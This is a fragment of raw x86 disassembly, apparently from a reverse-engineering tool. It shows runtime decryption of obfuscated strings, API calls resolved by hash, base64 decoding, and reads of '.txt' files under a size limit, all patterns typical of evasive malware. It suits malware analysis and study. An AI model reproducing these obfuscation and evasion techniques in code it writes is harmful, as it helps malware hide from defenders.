and cl, 0xf
or cl, bl
mov esi, dword [esp + 0x54]
lea edi, [esi + 2]
mov edx, dword [esp + 0x10]
mov byte [edx + esi + 1], cl
lea ecx, [ebp + 1]
cmp ecx, dword [esp + 0xc]
jae 0x4233a2
mov ecx, dword [esp + 0x48]
movzx ecx, byte [ecx + ebp + 1]
push ecx
mov ebx, eax
call fcn.004161d0
add esp, 4
cmp al, 0x40
je 0x4233a2
mov ecx, ebx
shl cl, 6
add al, cl
mov ecx, dword [esp + 0x10]
mov edi, dword [esp + 0x54]
mov byte [ecx + edi + 2], al
add edi, 3
jmp 0x4233a2
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x448144]
xor ebx, ebx
jmp dword [0x448174]
mov eax, dword [esp + 0xa4]
add eax, 0x10
cmp dword [esp + 0xa0], 0xfffffff8
jge 0x42349c
mov eax, 0xffffffff
push eax
call fcn.00409cc0
add esp, 4
mov esi, eax
mov dword [esp + 0x14], 0x53b64d7f
mov dword [esp + 0x18], 0x576451a0
mov dword [esp + 0x1c], 0x5ba255a0
mov dword [esp + 0x20], 0x5f5e59ac
jmp dword [0x448150]
mov dword [esp + 8], 0
mov eax, dword [esp + 8]
cmp eax, 0xf
ja 0x423513
nop
nop
mov eax, dword [esp + 8]
mov ecx, dword [esp + 8]
movzx ecx, byte [esp + ecx + 0x14]
add eax, 0x17e04f8e
xor eax, ecx
mov dword [esp + 0x5c], eax
mov eax, dword [esp + 0x5c]
add al, 0x3e
mov ecx, dword [esp + 8]
mov byte [esp + ecx + 0x14], al
inc dword [esp + 8]
mov eax, dword [esp + 8]
cmp eax, 0x10
jb 0x4234e0
movzx ecx, word [ebp]
mov eax, esi
test cx, cx
je 0x423541
lea edx, [ebp + 2]
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x423530
mov word [eax], 0
movzx ecx, word [esp + 0x14]
test cx, cx
je 0x423571
lea edx, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x423560
mov word [eax], 0
jmp case.0x4216e0.139
mov word [eax], 0
jmp dword [0x448158]
mov dword [esp + 8], 0
mov eax, dword [esp + 8]
cmp eax, 0xf
ja 0x4235d3
nop
nop
nop
nop
mov eax, dword [esp + 8]
mov ecx, dword [esp + 8]
movzx ecx, byte [esp + ecx + 0x14]
add eax, 0x17e04f8e
xor eax, ecx
mov dword [esp + 0x5c], eax
mov eax, dword [esp + 0x5c]
add al, 0x3e
mov ecx, dword [esp + 8]
mov byte [esp + ecx + 0x14], al
inc dword [esp + 8]
mov eax, dword [esp + 8]
cmp eax, 0x10
jb 0x4235a0
movzx ecx, word [ebp]
mov eax, esi
test cx, cx
je 0x423601
lea edx, [ebp + 2]
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4235f0
mov word [eax], 0
movzx ecx, word [esp + 0x14]
test cx, cx
je 0x423580
lea edx, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x423620
jmp 0x423580
jmp dword [0x448168]
mov ecx, dword [esp + 0xfc]
push dword [esp]
push dword [esp + 8]
push esi
call fcn.0040a480
mov ebx, eax
jmp dword [0x44816c]
push esi
call fcn.00409cd0
add esp, 4
push 0xe050b307
push dword [0x44ba8c]
call fcn.0043f320
add esp, 8
push dword [esp + 4]
call eax
jmp dword [0x448174]
push edi
call fcn.00409cd0
add esp, 4
push dword [esp + 0x7c]
call fcn.00403a60
add esp, 4
jmp dword [0x44817c]
push dword [esp + 0x98]
call fcn.00409cd0
add esp, 4
mov eax, dword [esp + 0x84]
mov dword [esp + 0x14], 0xd3d0d1d6
mov dword [esp + 0x18], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 7
ja 0x423710
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x14]
add ecx, 0xb3ba1ca3
xor ecx, edx
mov dword [esp + 0x4c], ecx
mov ecx, dword [esp + 0x4c]
add cl, 0x8a
mov edx, dword [esp]
mov byte [esp + edx + 0x14], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 8
jb 0x4236e0
mov ecx, dword [0x44ba98]
test ecx, ecx
je 0x423750
mov edx, dword [esp + 0x14]
xor esi, esi
mov edi, dword [0x44ba9c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x625b6034
je 0x423740
inc esi
cmp ecx, esi
jne 0x423730
jmp 0x423750
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x423ab2
nop
nop
nop
nop
jmp dword [0x448184]
movzx eax, bl
jmp dword [eax*4 + 0x44818c]
mov eax, dword [esp + 0x88]
mov edi, dword [esp + 0xa0]
lea ecx, [edi + eax]
lea edx, [edi + eax]
add edx, 0x17
lea eax, [ecx*2 + 0x2e]
test edx, edx
jns 0x423787
mov eax, 0xffffffff
push eax
call fcn.00409cc0
add esp, 4
mov esi, eax
mov eax, dword [esp + 0x58]
movzx ecx, word [eax]
mov eax, esi
test cx, cx
je 0x4237c1
mov edx, dword [esp + 0x9c]
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4237b0
mov word [eax], 0x5c
mov dword [esp + 0x14], 0x33fe2df0
mov dword [esp + 0x18], 0x37d131c3
mov dword [esp + 0x1c], 0x3bd635d5
mov dword [esp + 0x20], 0x3fe93918
mov dword [esp + 0x24], 0xc3313dc8
mov dword [esp + 0x28], 0xc727c136
mov dword [esp + 0x2c], 0xcb2fc52f
mov dword [esp + 0x30], 0xcf22c914
mov dword [esp + 0x34], 0xd328cd29
mov dword [esp + 0x38], 0xd73ad135
mov dword [esp + 0x3c], 0xdb3cd530
mov word [esp + 0x40], 0xd9d8
mov dword [esp + 0x42], 0
add eax, 2
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x31
ja 0x42387c
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x14]
add ecx, 0x1413e8ee
xor ecx, edx
mov dword [esp + 0x4c], ecx
mov ecx, dword [esp + 0x4c]
mov edx, ecx
xor edx, 0xc2
and ecx, 0x3d
add ecx, ecx
sub ecx, edx
mov edx, dword [esp]
mov byte [esp + edx + 0x14], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x32
jb 0x423840
movzx ecx, word [ebp]
test cx, cx
je 0x4238a1
lea edx, [ebp + 2]
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x423890
mov word [eax], 0
movzx ecx, word [esp + 0x14]
test cx, cx
je 0x4238d1
lea edx, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4238c0
mov word [eax], 0
mov eax, dword [esp + 0xa4]
add eax, 0x12
cmp edi, 0xfffffff7
jge 0x4238ea
mov eax, 0xffffffff
push eax
call fcn.00409cc0
add esp, 4
mov ebx, eax
mov dword [esp + 0x14], 0x108d1242
mov dword [esp + 0x18], 0x149f168c
mov dword [esp + 0x1c], 0x8950a90
mov dword [esp + 0x20], 0xc6b0e6b
mov word [esp + 0x24], 0x203
mov dword [esp + 0x26], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x15
ja 0x423977
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x14]
lea edx, [eax + 8]
and edx, ecx
add eax, ecx
add edx, edx
sub eax, edx
add eax, 0xd9211f08
mov dword [esp + 0x4c], eax
mov eax, dword [esp + 0x4c]
add al, 0xe5
mov ecx, dword [esp]
mov byte [esp + ecx + 0x14], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x16
jb 0x423940
movzx ecx, word [ebp]
mov eax, ebx
test cx, cx
je 0x4239a2
add ebp, 2
mov eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [ebp]
add ebp, 2
test cx, cx
jne 0x423990
mov word [eax], 0
movzx ecx, word [esp + 0x14]
test cx, cx
je 0x4239d1
lea edx, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4239c0
mov word [eax], 0
mov dword [esp + 0x14], 0x6a6968b5
mov byte [esp + 0x18], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 4
ja 0x423a2e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x14]
add eax, 0xe4d3a713
xor eax, ecx
mov dword [esp + 0x4c], eax
mov eax, dword [esp + 0x4c]
add al, 0x84
mov ecx, dword [esp]
mov byte [esp + ecx + 0x14], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 5
jb 0x423a00
push 0
push 0
push 0
push 0xc00000
lea eax, [esp + 0x24]
push eax
push esi
push ebx
push dword [esp + 0x118]
call fcn.0041a400
add esp, 0x20
mov ecx, dword [esp + 0x78]
and cl, 1
or cl, al
mov dword [esp + 0x78], ecx
jmp dword [0x448194]
jmp dword [0x4481a0]
push ebx
call fcn.00409cd0
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
call fcn.00409cd0
add esp, 4
jmp dword [0x4481a4]
jmp dword [0x4481ac]
push esi
call fcn.00409cd0
add esp, 4
mov eax, dword [case.0x4216e0.154]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
push eax
push 1
push dword [0x44baa0]
push ecx
call fcn.0043dc50
add esp, 0x10
jmp dword [0x448184]
xor edx, edx
mov edi, 2
jmp 0x423af8
mov ecx, esi
mov ebp, ebx
lea eax, [edi + 4]
add edi, 2
mov edx, ebp
cmp edi, ecx
mov edi, eax
mov esi, ecx
jae 0x42318d
mov dword [esp + 0xc], edx
mov ebp, dword [esp + 0x48]
movzx eax, byte [ebp + edi - 2]
push eax
call fcn.004161d0
add esp, 4
mov ebx, eax
movzx eax, byte [ebp + edi - 1]
push eax
call fcn.004161d0
mov edx, dword [esp + 0x10]
add esp, 4
shl bl, 2
mov ah, al
shr ah, 4
and ah, 3
or ah, bl
lea ebx, [edx + 1]
mov ecx, dword [esp + 0x10]
mov byte [ecx + edx], ah
cmp edi, esi
jae 0x423ae0
mov byte [esp + 0x80], al
movzx eax, byte [ebp + edi]
push eax
call fcn.004161d0
mov ecx, dword [esp + 0x58]
add esp, 4
cmp al, 0x40
mov ebp, ebx
je 0x423ae4
movzx edx, byte [esp + 0x80]
shl dl, 4
mov ebx, eax
shr al, 2
and al, 0xf
or al, dl
mov esi, dword [esp + 0xc]
lea ebp, [esi + 2]
mov edx, dword [esp + 0x10]
mov byte [edx + esi + 1], al
lea eax, [edi + 1]
cmp eax, ecx
jae 0x423ae4
mov eax, dword [esp + 0x48]
movzx eax, byte [eax + edi + 1]
push eax
call fcn.004161d0
mov ecx, dword [esp + 0x58]
add esp, 4
cmp al, 0x40
je 0x423ae4
shl bl, 6
add al, bl
mov edx, dword [esp + 0x10]
mov esi, dword [esp + 0xc]
mov byte [edx + esi + 2], al
add esi, 3
mov ebp, esi
jmp 0x423ae4
push eax
mov edi, esp
sub esp, 0x44
mov eax, esp
sub esp, 0x40
mov ebx, esp
push eax
mov dword [ebp - 0x44], esp
mov ecx, dword [0x44ba94]
mov dword [eax], 0xa7175931
mov dword [eax + 4], 0xa314a516
mov dword [eax + 8], 0xaf0fa1ee
mov dword [eax + 0xc], 0xab03ad12
mov dword [eax + 0x10], 0xb70ca9c1
mov dword [eax + 0x14], 0xb305b5e4
mov dword [eax + 0x18], 0xbf1bb10e
mov dword [eax + 0x1c], 0xbb13bd0e
mov dword [eax + 0x20], 0x87cdb916
mov dword [eax + 0x24], 0x832085f3
mov dword [eax + 0x28], 0x8f2b813f
mov dword [eax + 0x2c], 0x8b318d33
mov dword [eax + 0x30], 0x9739893d
mov dword [eax + 0x34], 0x93e69524
mov dword [eax + 0x38], 0x9f23912a
mov dword [eax + 0x3c], 0x9b9c9d2a
mov dword [eax + 0x40], 0
mov dword [ebp - 0x10], 0
mov edx, dword [ebp - 0x10]
cmp edx, 0x43
ja 0x423cac
nop
nop
nop
nop
nop
mov edx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x10]
movzx esi, byte [eax + esi]
add edx, 0x3f4aabfd
xor edx, esi
mov dword [ebp - 0x1c], edx
mov edx, dword [ebp - 0x1c]
add dl, 0x59
mov esi, dword [ebp - 0x10]
mov byte [eax + esi], dl
inc dword [ebp - 0x10]
mov edx, dword [ebp - 0x10]
cmp edx, 0x44
jb 0x423c80
push edi
push 0
push 0
push 0x1f
push eax
push 0
call ecx
mov dword [ebp - 0x48], edi
mov edi, dword [edi]
test edi, edi
jns 0x423cc8
mov eax, 0xffffffff
jmp 0x423ccb
lea eax, [edi + edi]
push eax
call fcn.00409cc0
add esp, 4
mov esi, eax
mov eax, dword [0x44ba94]
mov dword [ebx], 0xdc1e22fc
mov dword [ebx + 4], 0xd849de4f
mov dword [ebx + 8], 0xd436da27
mov dword [ebx + 0xc], 0xd032d65b
mov dword [ebx + 0x10], 0xcc29d20c
mov dword [ebx + 0x14], 0xc858ce39
mov dword [ebx + 0x18], 0xc45aca47
mov dword [ebx + 0x1c], 0xc022c657
mov dword [ebx + 0x20], 0xfc28c25f
mov dword [ebx + 0x24], 0xf81dfe2a
mov dword [ebx + 0x28], 0xf46afa76
mov dword [ebx + 0x2c], 0xf07cf67a
mov dword [ebx + 0x30], 0xec7cf268
mov dword [ebx + 0x34], 0xe83fee79
mov dword [ebx + 0x38], 0xe472ea63
mov dword [ebx + 0x3c], 0xe0e1e673
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x10]
cmp ecx, 0x3f
ja 0x423d8c
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x10]
movzx edx, byte [ebx + edx]
add ecx, 0xeeb47dfe
xor ecx, edx
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 0x1c]
add cl, 0x23
mov edx, dword [ebp - 0x10]
mov byte [ebx + edx], cl
inc dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
cmp ecx, 0x40
jb 0x423d60
push dword [ebp - 0x48]
push edi
push esi
push 0x1f
push ebx
push 0
call eax
push 0x60
push 3
push 0x120089
push dword [ebp - 0x44]
push esi
call fcn.0043fd00
add esp, 0x14
jmp case.0x4216e0.168
push edi
push ebx
mov ecx, dword [ebp - 0x48]
push ecx
push 0x1f
push esi
mov esi, ecx
push 0
call eax
push 0x60
push 3
push 0x120089
mov edi, dword [ebp - 0x44]
push edi
push esi
call fcn.0043fd00
add esp, 0x14
jmp dword [0x4481d0]
push eax
mov edi, esp
sub esp, 0x44
mov eax, esp
sub esp, 0x40
mov esi, esp
push eax
mov dword [ebp - 0x44], esp
push eax
mov dword [ebp - 0x20], esp
sub esp, 0x10
mov dword [ebp - 0x6c], esp
push eax
mov dword [ebp - 0x58], esp
push eax
mov dword [ebp - 0x5c], esp
sub esp, 0x20
mov dword [ebp - 0x24], esp
mov ecx, dword [0x44ba94]
mov dword [eax], 0xa7175931
mov dword [eax + 4], 0xa314a516
mov dword [eax + 8], 0xaf0fa1ee
mov dword [eax + 0xc], 0xab03ad12
mov dword [eax + 0x10], 0xb70ca9c1
mov dword [eax + 0x14], 0xb305b5e4
mov dword [eax + 0x18], 0xbf1bb10e
mov dword [eax + 0x1c], 0xbb13bd0e
mov dword [eax + 0x20], 0x87cdb916
mov dword [eax + 0x24], 0x832085f3
mov dword [eax + 0x28], 0x8f2b813f
mov dword [eax + 0x2c], 0x8b318d33
mov dword [eax + 0x30], 0x9739893d
mov dword [eax + 0x34], 0x93e69524
mov dword [eax + 0x38], 0x9f23912a
mov dword [eax + 0x3c], 0x9b9c9d2a
mov dword [eax + 0x40], 0
mov dword [ebp - 0x10], 0
mov edx, dword [ebp - 0x10]
cmp edx, 0x43
ja 0x423ebc
nop
mov edx, dword [ebp - 0x10]
mov ebx, dword [ebp - 0x10]
movzx ebx, byte [eax + ebx]
add edx, 0x3f4aabfd
xor edx, ebx
mov dword [ebp - 0x1c], edx
mov edx, dword [ebp - 0x1c]
add dl, 0x59
mov ebx, dword [ebp - 0x10]
mov byte [eax + ebx], dl
inc dword [ebp - 0x10]
mov edx, dword [ebp - 0x10]
cmp edx, 0x44
jb 0x423e90
push edi
push 0
push 0
push 0x1f
push eax
push 0
call ecx
mov ebx, dword [edi]
test ebx, ebx
jns 0x423ee0
mov eax, 0xffffffff
jmp 0x423ee3
lea eax, [ebx + ebx]
push eax
call fcn.00409cc0
add esp, 4
mov dword [ebp - 0x48], eax
mov eax, dword [0x44ba94]
mov dword [esi], 0xdc1e22fc
mov dword [esi + 4], 0xd849de4f
mov dword [esi + 8], 0xd436da27
mov dword [esi + 0xc], 0xd032d65b
mov dword [esi + 0x10], 0xcc29d20c
mov dword [esi + 0x14], 0xc858ce39
mov dword [esi + 0x18], 0xc45aca47
mov dword [esi + 0x1c], 0xc022c657
mov dword [esi + 0x20], 0xfc28c25f
mov dword [esi + 0x24], 0xf81dfe2a
mov dword [esi + 0x28], 0xf46afa76
mov dword [esi + 0x2c], 0xf07cf67a
mov dword [esi + 0x30], 0xec7cf268
mov dword [esi + 0x34], 0xe83fee79
mov dword [esi + 0x38], 0xe472ea63
mov dword [esi + 0x3c], 0xe0e1e673
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x10]
cmp ecx, 0x3f
ja 0x423db0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x10]
movzx edx, byte [esi + edx]
add ecx, 0xeeb47dfe
xor ecx, edx
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 0x1c]
add cl, 0x23
mov edx, dword [ebp - 0x10]
mov byte [esi + edx], cl
inc dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
cmp ecx, 0x40
jb 0x423f80
jmp 0x423db0
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x4481d4]
xor eax, eax
jmp dword [0x44830c]
push esi
mov esi, eax
call fcn.00409cd0
mov eax, esi
add esp, 4
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
push 0
mov ebx, dword [ebp - 0x20]
push ebx
push dword [edi]
call fcn.00440070
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [ebp - 0x2c], 0
jmp dword [eax*4 + 0x4481dc]
mov esi, dword [ebx]
lea eax, [esi + 1]
push eax
call fcn.00409cc0
add esp, 4
push 0
push esi
mov dword [ebp - 0x64], eax
push eax
push dword [edi]
call fcn.00440150
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [ebp - 0x2c], 0
mov esi, dword [ebp - 0x6c]
jmp dword [eax*4 + 0x4481e4]
jmp dword [0x4482f4]
push dword [ebp - 0x64]
call fcn.00409cd0
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [0x448304]
mov eax, dword [edi]
mov dword [ebp - 0x1c], 0xd3d0d1d6
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov ecx, dword [ebp - 0x14]
cmp ecx, 7
ja 0x4240ae
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x14]
movzx edx, byte [ebp + edx - 0x1c]
add ecx, 0xb3ba1ca3
xor ecx, edx
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0x10]
add cl, 0x8a
mov edx, dword [ebp - 0x14]
mov byte [ebp + edx - 0x1c], cl
inc dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
cmp ecx, 8
jb 0x424080
mov ecx, dword [0x44ba98]
test ecx, ecx
je 0x4240ec
mov edx, dword [ebp - 0x1c]
xor esi, esi
mov edi, dword [0x44ba9c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x625b6034
je 0x4240e0
inc esi
cmp ecx, esi
jne 0x4240d0
jmp 0x4240ec
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x424821
mov eax, dword [ebp - 0x2c]
and al, 1
mov esi, dword [ebp - 0x48]
jmp dword [0x44830c]
mov eax, dword [ebx]
mov ecx, dword [ebp - 0x64]
mov byte [ecx + eax], 0
mov eax, dword [ebp - 0x24]
lea edx, [eax + 0x1b]
mov dword [ebp - 0x68], edx
inc eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x2c], 0
mov edx, ecx
nop
nop
nop
nop
nop
nop
nop
mov dword [esi], 0x50585e5c
mov dword [esi + 4], 0x5c555a48
mov word [esi + 8], 0x1903
mov byte [esi + 0xa], 0x3c
mov dword [esi + 0xb], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp eax, 0xe
ja 0x42417a
nop
nop
nop
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
movzx ecx, byte [esi + ecx]
add eax, 0x104299b4
xor eax, ecx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
add al, 0x7e
mov ecx, dword [ebp - 0x10]
mov byte [esi + ecx], al
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, 0xf
jb 0x424150
movzx ecx, byte [esi]
test cl, cl
je 0x4241c0
mov eax, esi
mov dword [ebp - 0x20], edx
jmp 0x4241a0
mov edx, dword [ebp - 0x20]
inc edx
mov dword [ebp - 0x20], edx
mov eax, esi
movzx ecx, byte [eax]
test cl, cl
je 0x4241d7
mov ebx, edx
movzx edx, byte [edx]
test dl, dl
je 0x4241d0
cmp dl, cl
jne 0x424190
mov edx, ebx
inc edx
inc eax
jmp 0x424199
mov dword [ebp - 0x20], edx
jmp 0x4241d7
mov dword [ebp - 0x20], 0
xor eax, eax
mov ecx, dword [ebp - 0x20]
test ecx, ecx
sete al
jmp dword [eax*4 + 0x4481ec]
lea edx, [ecx + 0xa]
movzx eax, byte [ecx + 0xa]
xor ebx, ebx
test al, al
je 0x424212
mov ecx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp al, 0x22
je 0x424210
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x424200
jmp 0x424212
mov ebx, ecx
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x30]
sub ebx, edx
xor eax, eax
mov ecx, ebx
mov dword [ebp - 0x40], ebx
cmp ebx, 5
mov ebx, dword [ebp - 0x30]
setb al
jmp dword [eax*4 + 0x4481f4]
xor eax, eax
cmp byte [ebx - 1], 0x74
setne al
jmp dword [eax*4 + 0x4481fc]
movzx eax, byte [ebx - 2]
mov ecx, dword [case.0x42422a.6]
nop
nop
nop
nop
nop
jmp ecx
xor ecx, ecx
cmp al, 0x78
setne cl
jmp dword [ecx*4 + 0x448214]
xor eax, eax
cmp byte [ebx - 3], 0x74
setne al
jmp dword [eax*4 + 0x44821c]
xor eax, eax
cmp byte [ebx - 4], 0x2e
setne al
jmp dword [eax*4 + 0x448224]
mov dword [ebp - 0x34], edx
mov ecx, dword [ebp - 0x40]
mov eax, ecx
inc eax
lea eax, [ecx + ecx + 2]
jns 0x424294
mov eax, 0xffffffff
push eax
call fcn.00409cc0
add esp, 4
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x40]
lea ecx, [eax + ecx*2]
mov ebx, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x3c], ecx
cmp eax, ecx
mov esi, dword [ebp - 0x34]
jae 0x4242fb
mov ebx, dword [ebp - 0x28]
cmp esi, dword [ebp - 0x30]
jae 0x4242fb
mov ebx, dword [ebp - 0x28]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [esi], 0
je 0x4242fb
lea eax, [ebp - 0x1c]
push eax
mov edi, dword [ebp - 0x30]
push edi
push esi
call fcn.0040d6a0
add esp, 0xc
movzx ecx, word [ebp - 0x1c]
mov word [ebx], cx
add ebx, 2
cmp ebx, dword [ebp - 0x3c]
jae 0x4242fb
add esi, eax
cmp esi, edi
jb 0x4242d0
mov word [ebx], 0
push 0x60
push 3
push 0x120089
mov esi, dword [ebp - 0x58]
push esi
push dword [ebp - 0x28]
call fcn.0043fd00
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44823c]
push 0
mov edi, dword [ebp - 0x5c]
push edi
push dword [esi]
call fcn.00440070
add esp, 0xc
mov esi, dword [edi]
test eax, eax
setns al
cmp esi, 0x100000
setb cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x448254]
mov ebx, dword [case.0x42431d.11]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push esi
call fcn.00409cc0
add esp, 4
jmp ebx
mov edi, eax
push 0
push esi
push eax
mov eax, dword [ebp - 0x58]
push dword [eax]
call fcn.00440150
add esp, 0x10
mov ecx, dword [case.0x42431d.18]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp ecx
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44828c]
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov esi, dword [ebp - 0x24]
jmp 0x4243d8
mov eax, dword [case.0x42431d.45]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
add eax, 2
test dx, dx
je 0x4243e9
mov ebx, ecx
movzx edx, word [eax]
mov ecx, eax
cmp dx, 0x5c
je 0x4243d0
mov ecx, ebx
jmp 0x4243d0
xor eax, eax
test ebx, ebx
setne al
jmp dword [eax*4 + 0x448294]
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x50], 0
jmp dword [0x4482ac]
jmp dword [0x4482a8]
sub ecx, dword [ebp - 0x28]
sar ecx, 1
inc ecx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x50], ecx
sub eax, ecx
mov dword [ebp - 0x4c], eax
jmp dword [0x4482ac]
mov dword [ebp - 0x3c], edi
mov eax, dword [ebp - 0x4c]
add eax, 0x1b
push eax
call fcn.00409cc0
add esp, 4
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x40]
mov edx, eax
not edx
mov ecx, dword [ebp - 0x50]
and edx, ecx
mov edi, ecx
not edi
and edi, eax
mov dword [ebp - 0x70], edi
mov dword [ebp - 0x54], edx
sub edi, edx
mov dword [esi], 0x686a684b
mov dword [esi + 4], 0x67697b76
mov dword [esi + 8], 0x66481378
mov dword [esi + 0xc], 0x3c637464
mov dword [esi + 0x10], 0x72667a5e
mov dword [esi + 0x14], 0x307a7878
mov word [esi + 0x18], 0x3231
mov byte [esi + 0x1a], 0xe2
mov eax, dword [ebp - 0x68]
mov dword [eax], 0
mov byte [eax + 4], 0
mov eax, dword [ebp - 0x34]
lea edx, [eax + ecx]
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp eax, 0x1f
ja 0x4244e4
mov eax, dword [ebp - 0x10]
mov esi, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x24]
movzx esi, byte [ecx + esi]
add eax, 0xfa3a4f83
xor eax, esi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
add al, 0x81
mov esi, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x24]
mov byte [ecx + esi], al
mov esi, dword [ebp - 0x24]
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, 0x20
jb 0x4244b1
movzx ebx, byte [esi]
mov eax, dword [ebp - 0x38]
test bl, bl
je 0x4244ff
mov esi, dword [ebp - 0x60]
mov eax, dword [ebp - 0x38]
mov byte [eax], bl
inc eax
movzx ebx, byte [esi]
inc esi
test bl, bl
jne 0x4244f4
mov byte [eax], 0
test edi, edi
je 0x424528
mov ecx, edi
and ecx, 3
je 0x42452f
xor esi, esi
movzx ebx, byte [edx]
cmp bl, 1
sbb edx, 0xffffffff
mov byte [eax + esi], bl
inc esi
cmp ecx, esi
jne 0x42450f
add eax, esi
sub edi, esi
mov ebx, eax
jmp 0x42452f
mov ebx, eax
mov esi, dword [ebp - 0x24]
jmp 0x424576
mov ecx, dword [ebp - 0x54]
sub ecx, dword [ebp - 0x70]
cmp ecx, 0xfffffffc
mov esi, dword [ebp - 0x24]
ja 0x424576
movzx ebx, byte [edx]
cmp bl, 1
sbb edx, 0xffffffff
mov byte [eax], bl
movzx ebx, byte [edx]
cmp bl, 1
sbb edx, 0xffffffff
mov byte [eax + 1], bl
movzx ebx, byte [edx]
cmp bl, 1
sbb edx, 0xffffffff
mov byte [eax + 2], bl
movzx ecx, byte [edx]
cmp cl, 1
sbb edx, 0xffffffff
lea ebx, [eax + 4]
mov byte [eax + 3], cl
mov eax, ebx
add edi, 0xfffffffc
jne 0x42453d
